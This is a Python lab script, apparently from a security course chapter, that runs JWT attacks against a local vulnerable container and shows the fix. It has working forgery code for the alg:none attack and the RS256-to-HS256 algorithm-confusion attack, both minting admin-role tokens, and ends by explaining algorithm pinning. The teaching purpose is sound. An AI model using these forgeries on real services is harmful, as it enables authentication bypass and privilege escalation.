#!/usr/bin/env python3
"""
jwt_lab_helper.py - Chapter 3 Lab 4 helper script.

Demonstrates:
  1. Minting a legitimate RS256 JWT against the lab app.
  2. The alg:none forgery attack.
  3. The RS256->HS256 algorithm-confusion attack using the public key as HMAC secret.
  4. The fixed verification (pinned algorithm) that defeats both attacks.

AUTHORISATION: Only run against http://localhost:5000 (the ch03-vuln container
or your own local instance). Do NOT point this at any system you do not own.

Usage:
    python jwt_lab_helper.py
"""

import base64
import json
import time
import requests

BASE = "http://localhost:5000"


def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def b64url_decode(s: str) -> bytes:
    pad = 4 - len(s) % 4
    if pad != 4:
        s += "=" * pad
    return base64.urlsafe_b64decode(s)


def step(label: str):
    print(f"\n{'='*60}\n{label}\n{'='*60}")


def mint_legitimate():
    """Step 1: obtain a real RS256 token from the lab server."""
    step("STEP 1: Mint a legitimate RS256 token")
    resp = requests.get(f"{BASE}/jwt-issue", params={"user": "alice", "role": "user"})
    token = resp.json()["token"]
    header_b64, payload_b64, sig_b64 = token.split(".")
    header = json.loads(b64url_decode(header_b64))
    claims = json.loads(b64url_decode(payload_b64))
    print(f"  header:  {header}")
    print(f"  claims:  {claims}")
    print(f"  token:   {token[:60]}...")
    return token


def verify_naive(token: str, label: str):
    resp = requests.post(f"{BASE}/jwt-verify-naive", json={"token": token})
    print(f"  naive verify ({label}): {resp.status_code} {resp.json()}")


def verify_safe(token: str, label: str):
    resp = requests.post(f"{BASE}/jwt-verify-safe", json={"token": token})
    print(f"  safe verify  ({label}): {resp.status_code} {resp.json()}")


def alg_none_forgery():
    """Step 2: forge a token with alg:none and an escalated role."""
    step("STEP 2: alg:none forgery (escalate to admin)")
    header = b64url_encode(json.dumps({"alg": "none", "typ": "JWT"}).encode())
    payload = b64url_encode(json.dumps({
        "sub": "attacker",
        "role": "admin",
        "iat": int(time.time()),
        "exp": int(time.time()) + 3600,
        "iss": "ch03-lab",
        "aud": "ch03-lab",
    }).encode())
    forged = f"{header}.{payload}."  # empty signature
    print(f"  forged token: {forged[:80]}...")
    verify_naive(forged, "alg:none forged admin token")
    verify_safe(forged, "alg:none forged admin token")
    return forged


def alg_confusion_forgery():
    """Step 3: sign an HS256 token using the RSA public key as the HMAC secret."""
    step("STEP 3: RS256->HS256 algorithm-confusion attack")
    import hmac as _hmac
    import hashlib

    pubkey_pem = requests.get(f"{BASE}/jwt-pubkey").text.encode()
    print(f"  Fetched RSA public key ({len(pubkey_pem)} bytes) - this is PUBLIC information")

    header = b64url_encode(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
    payload = b64url_encode(json.dumps({
        "sub": "attacker",
        "role": "admin",
        "iat": int(time.time()),
        "exp": int(time.time()) + 3600,
        "iss": "ch03-lab",
        "aud": "ch03-lab",
    }).encode())
    signing_input = f"{header}.{payload}".encode()
    # Sign with the RSA PUBLIC key as the HMAC secret (the confusion exploit)
    sig = _hmac.new(pubkey_pem, signing_input, hashlib.sha256).digest()
    forged = f"{header}.{payload}.{b64url_encode(sig)}"
    print(f"  HS256-confusion token: {forged[:80]}...")
    verify_naive(forged, "HS256-confusion forged admin token")
    verify_safe(forged, "HS256-confusion forged admin token")
    return forged


def apply_fix_and_rerun():
    """Step 4: summary - the safe endpoint rejects both attacks."""
    step("STEP 4: Summary - what changed and why")
    print("""
  The safe /jwt-verify-safe endpoint calls:
      jwt.decode(token, public_key, algorithms=["RS256"], issuer=..., audience=...)

  This means:
    - The SERVER decides which algorithm is valid (algorithms=["RS256"]).
    - A token claiming alg:none is rejected because "none" is not in the allow-list.
    - A token claiming alg:HS256 is rejected for the same reason, before
      the signature is even examined.
    - Even if the signature format matched, iss/aud validation would catch tokens
      minted by a different service.

  This is RFC 8725 section 3.1 (Perform Algorithm Verification) made concrete.
    """)


if __name__ == "__main__":
    try:
        requests.get(f"{BASE}/healthz", timeout=3)
    except Exception:
        print(f"ERROR: Cannot reach {BASE}. Is the ch03-vuln container running?")
        raise SystemExit(1)

    token = mint_legitimate()
    alg_none_forgery()
    alg_confusion_forgery()
    apply_fix_and_rerun()

    # Verify the legitimate token against the safe endpoint as a sanity check
    step("BONUS: Verify legitimate token against safe endpoint (should be accepted)")
    verify_safe(token, "legitimate RS256 token")
